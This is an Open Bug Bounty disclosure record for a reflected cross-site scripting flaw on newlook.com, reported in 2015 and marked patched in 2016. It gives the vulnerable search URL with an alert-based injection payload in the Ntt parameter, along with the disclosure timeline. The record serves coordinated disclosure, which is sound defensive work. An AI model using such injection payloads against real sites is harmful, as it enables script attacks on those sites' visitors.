Lucene search

K
openbugbountyDim0kOBB:88654
HistorySep 24, 2015 - 7:33 p.m.

newlook.com XSS vulnerability

2015-09-2419:33:00
dim0k
www.openbugbounty.org
7
Vulnerable URL:
http://www.newlook.com/fr/shop/no-results?Ntt=x"-alert(/XSSPOSED/)-"x&filtered;=1
Details:
Description Value
Patched: Yes, at 21.06.2016
Latest check for patch: 21.06.2016 04:23 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 4039
Google Pagerank 0
VIP website status: Yes
Check newlook.com SSL connection: (Grade: B+)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 24 September, 2015 19:33 GMT
Vulnerability existence verified and confirmed 24 September, 2015 19:35 GMT
Vulnerability patched by the website owner 21 June, 2016 16:41 GMT